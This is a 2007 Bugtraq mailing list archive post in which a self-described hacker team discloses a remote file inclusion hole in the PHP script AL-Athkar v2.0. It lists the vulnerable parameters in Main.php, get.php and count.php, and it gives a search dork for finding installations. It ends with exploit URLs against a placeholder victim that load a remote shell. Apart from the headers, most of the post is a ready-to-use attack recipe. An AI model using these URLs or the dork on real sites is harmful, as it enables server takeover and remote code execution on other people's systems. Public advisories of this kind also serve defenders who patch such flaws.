Bugtraq mailing list archives

AL-Athkar.v2.0 Remote File Include


From: RaeD () BsdMail Com
Date: 4 Aug 2007 16:04:19 -0000

Discovred By : Hasadya Raed
----------------------------
Contact : RaeD () BsdMail Com , Hacker_Web () W Cn , Gunman_Pump () Hotmail Com
----------------------------
Greetz : Fairoz
----------------------------
Script: AL-Athkar.v2.0
----------------------------
Download: http://delmaa.com/upfile/users/AL-Athkar.v2.0.rar
----------------------------
Dork: "AL-Athkar.v2.0"
----------------------------
B.File: 
index.php
----------------------------
Vuln code:Main.php?include
Vuln code:get.php?include
Vuln code:count.php?exec
----------------------------
Exploit:
Http://www.Victim.com/path/count.php?exec=[Shell-Attack]
Http://www.Victim.com/path/Main.php?include=[Shell-Attack]
Http://www.Victim.com/path/get.php?include=[Shell-Attack]
----------------------------
<----!Team Hackers Israel----!>


Current thread: